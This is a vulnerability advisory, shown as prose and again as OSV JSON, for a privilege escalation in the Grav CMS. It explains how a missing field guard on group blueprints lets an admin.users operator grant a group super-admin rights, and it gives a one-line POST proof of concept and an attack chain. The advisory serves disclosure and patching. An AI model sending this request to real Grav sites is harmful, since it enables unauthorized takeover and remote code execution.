"published": "2022-05-24T17:42:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20075"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2021-04"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XHFV-7758-R9HX
Vulnerability from github – Published: 2026-09-17 20:45 – Updated: 2026-09-17 20:45Summary
The core Flex group blueprint system/blueprints/user/group.yaml (access field, lines 48-55) omits the security@: admin.super field guard that its sibling account blueprint carries (account.yaml:131/138/150, added by the CVE-2026-42613 fix). A delegated non-super operator holding admin.users.update can therefore save a group whose access map contains admin.super: true, which UserGroupObject::authorize then grants to every member of that group, a full privilege escalation to super-admin (scheduler/cron RCE, Twig eval). This is a distinct file, sink, and fix from all four related advisories.
Root Cause
The CVE-2026-42613 fix protected the account access/groups fields with a blueprint-level security@: admin.super gate, which Blueprint::dynamicSecurity() (system/src/Grav/Common/Data/Blueprint.php:644-662) uses to mark a field validate.ignore=true for non-super users so BlueprintSchema::filterArray() (BlueprintSchema.php:263-311) drops it. The functionally-identical group access field, a permission map granted to every member of the group, is declared in system/blueprints/user/group.yaml:48-55 with check_authorize: false and NO security@ guard. check_authorize has ZERO PHP enforcement (grep -rn check_authorize across the repo returns 0 PHP consumers; only two YAML blueprints reference it), so security@ is the sole real control. Because the group access field lacks security@, dynamicSecurity never flags it, filterArray retains it, and Validation::filterArray (type: array, value_type: bool) passes the nested admin.super:true leaf through. The core save path (FlexObject::update() then Framework/Flex/FlexObject.php:683 $blueprint->filter($data,true,true) then save()) persists it to user://config/groups.yaml.
Impact
A delegated admin.users operator (strictly below admin.super) escalates to super-admin, gaining the admin panel, the scheduler (cron to RCE) and Twig evaluation. Full read/write/DoS (C:H/I:H/A:H). Even absent self-escalation, arbitrary rewrite of ANY group's ACL is itself a full escalation primitive.
Proof of Concept
As a non-super admin.users operator who is a member of group ops:
POST /admin/accounts/groups/ops (or groups.json task:save)
data[access][admin][super]=1
user/config/groups.yaml gains ops: { access: { admin: { super: true } } }, so the operator is super-admin on the next request.
Attack Chain
- Entry: authenticated delegated admin (
admin.users.update, noadmin.super) POSTs the group-edit form for a group they belong to (or a new group), bodyaccess[admin][super]=true. Guard:FlexAuthorizeTrait::isAuthorizedActiontoadmin.users.update. Bypass proof:user-groups.yamlexposes groups atadmin.users:crudl; operator legitimately holds update. - Check (field guard):
Blueprint::dynamicSecuritymarksvalidate.ignoreonly forsecurity@fields. Guard: none on group access (nosecurity@). Bypass proof:group.yaml:48-55has nosecurity@;git log -S 'security@' -- system/blueprints/user/group.yamlis empty. - Filter:
BlueprintSchema::filterArrayretains the non-ignored field;Validation::filterArray(value_type: bool) passesadmin.super:truethrough. Bypass proof: field not flagged ignore/disabled; nested bool leaf preserved. - Sink (persist):
FlexObject::updatethenfilterthensavewrites touser://config/groups.yaml. Guard: none. Bypass proof: value already survived steps 2/3; storage performs no ACL filtering. - Impact: any member request triggers
UserGroupObject::authorize('admin.super')(.../UserGroups/UserGroupObject.php:75) returning true, so the member is super-admin, enabling scheduler/Twig RCE.
Bypass Evidence
system/blueprints/user/group.yaml:48-55: access block withcheck_authorize: false, nosecurity@(confirmed live on tag 2.0.12).git log -S 'security@' -- system/blueprints/user/group.yamlis empty (guard never existed; a permanent gap, not a regression).git log 2.0.12..HEAD -- system/blueprints/user/group.yamlis empty (no post-release fix).grep -rn check_authorize(whole repo) returns 0 PHP hits (guard unenforced in PHP).grep -rn "typePermissions|filterPermissions" system/src/Grav/Common/Datareturns 0 (permissions map falls through to array-bool filtering that keeps nested keys).- Guard asymmetry:
account.yaml:131/138/150carrysecurity@: admin.super;group.yamlcarries none. GHSA-h33v-82r9-v8pm's own text confirms the blueprintsecurity@gate is the sole Flex-backend strip for these keys.
Affected Versions
<= 2.0.12 (latest release; the guard never existed on group.yaml, so all 2.x are affected). The missing guard and the strip logic are both in core getgrav/grav; the group-edit UI is provided by the flex-objects/admin plugin, but the fix belongs in core.
Suggested Fix
Add security@: admin.super to the access field in system/blueprints/user/group.yaml (mirroring account.yaml), and/or enforce a super-only strip on group ACL saves in core so all callers are covered.
Reported by zx (Jace) — GitHub: @manus-use
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75837"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:45:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nThe core Flex group blueprint `system/blueprints/user/group.yaml` (access field, lines 48-55) omits the `security@: admin.super` field guard that its sibling account blueprint carries (`account.yaml:131/138/150`, added by the CVE-2026-42613 fix). A delegated non-super operator holding `admin.users.update` can therefore save a group whose `access` map contains `admin.super: true`, which `UserGroupObject::authorize` then grants to every member of that group, a full privilege escalation to super-admin (scheduler/cron RCE, Twig eval). This is a distinct file, sink, and fix from all four related advisories.\n\n## Root Cause\nThe CVE-2026-42613 fix protected the account `access`/`groups` fields with a blueprint-level `security@: admin.super` gate, which `Blueprint::dynamicSecurity()` (`system/src/Grav/Common/Data/Blueprint.php:644-662`) uses to mark a field `validate.ignore=true` for non-super users so `BlueprintSchema::filterArray()` (`BlueprintSchema.php:263-311`) drops it. The functionally-identical group `access` field, a permission map granted to every member of the group, is declared in `system/blueprints/user/group.yaml:48-55` with `check_authorize: false` and NO `security@` guard. `check_authorize` has ZERO PHP enforcement (`grep -rn check_authorize` across the repo returns 0 PHP consumers; only two YAML blueprints reference it), so `security@` is the sole real control. Because the group access field lacks `security@`, `dynamicSecurity` never flags it, `filterArray` retains it, and `Validation::filterArray` (`type: array, value_type: bool`) passes the nested `admin.super:true` leaf through. The core save path (`FlexObject::update()` then `Framework/Flex/FlexObject.php:683` `$blueprint-\u003efilter($data,true,true)` then `save()`) persists it to `user://config/groups.yaml`.\n\n## Impact\nA delegated `admin.users` operator (strictly below `admin.super`) escalates to super-admin, gaining the admin panel, the scheduler (cron to RCE) and Twig evaluation. Full read/write/DoS (C:H/I:H/A:H). Even absent self-escalation, arbitrary rewrite of ANY group\u0027s ACL is itself a full escalation primitive.\n\n## Proof of Concept\nAs a non-super `admin.users` operator who is a member of group `ops`:\n```\nPOST /admin/accounts/groups/ops (or groups.json task:save)\ndata[access][admin][super]=1\n```\n`user/config/groups.yaml` gains `ops: { access: { admin: { super: true } } }`, so the operator is super-admin on the next request.\n\n## Attack Chain\n1. Entry: authenticated delegated admin (`admin.users.update`, no `admin.super`) POSTs the group-edit form for a group they belong to (or a new group), body `access[admin][super]=true`. Guard: `FlexAuthorizeTrait::isAuthorizedAction` to `admin.users.update`. Bypass proof: `user-groups.yaml` exposes groups at `admin.users:crudl`; operator legitimately holds update.\n2. Check (field guard): `Blueprint::dynamicSecurity` marks `validate.ignore` only for `security@` fields. Guard: none on group access (no `security@`). Bypass proof: `group.yaml:48-55` has no `security@`; `git log -S \u0027security@\u0027 -- system/blueprints/user/group.yaml` is empty.\n3. Filter: `BlueprintSchema::filterArray` retains the non-ignored field; `Validation::filterArray` (`value_type: bool`) passes `admin.super:true` through. Bypass proof: field not flagged ignore/disabled; nested bool leaf preserved.\n4. Sink (persist): `FlexObject::update` then `filter` then `save` writes to `user://config/groups.yaml`. Guard: none. Bypass proof: value already survived steps 2/3; storage performs no ACL filtering.\n5. Impact: any member request triggers `UserGroupObject::authorize(\u0027admin.super\u0027)` (`.../UserGroups/UserGroupObject.php:75`) returning true, so the member is super-admin, enabling scheduler/Twig RCE.\n\n## Bypass Evidence\n- `system/blueprints/user/group.yaml:48-55`: access block with `check_authorize: false`, no `security@` (confirmed live on tag 2.0.12).\n- `git log -S \u0027security@\u0027 -- system/blueprints/user/group.yaml` is empty (guard never existed; a permanent gap, not a regression).\n- `git log 2.0.12..HEAD -- system/blueprints/user/group.yaml` is empty (no post-release fix).\n- `grep -rn check_authorize` (whole repo) returns 0 PHP hits (guard unenforced in PHP).\n- `grep -rn \"typePermissions|filterPermissions\" system/src/Grav/Common/Data` returns 0 (permissions map falls through to array-bool filtering that keeps nested keys).\n- Guard asymmetry: `account.yaml:131/138/150` carry `security@: admin.super`; `group.yaml` carries none. GHSA-h33v-82r9-v8pm\u0027s own text confirms the blueprint `security@` gate is the sole Flex-backend strip for these keys.\n\n## Affected Versions\n`\u003c= 2.0.12` (latest release; the guard never existed on `group.yaml`, so all 2.x are affected). The missing guard and the strip logic are both in core `getgrav/grav`; the group-edit UI is provided by the flex-objects/admin plugin, but the fix belongs in core.\n\n## Suggested Fix\nAdd `security@: admin.super` to the `access` field in `system/blueprints/user/group.yaml` (mirroring `account.yaml`), and/or enforce a super-only strip on group ACL saves in core so all callers are covered.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
"id": "GHSA-xhfv-7758-r9hx",
"modified": "2026-09-17T20:45:15Z",
"published": "2026-09-17T20:45:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-xhfv-7758-r9hx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75837"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-privilege-escalation-via-group-access-field"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: Missing admin.super guard on core group blueprint access field allows admin.users operator to escalate to super-admin"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.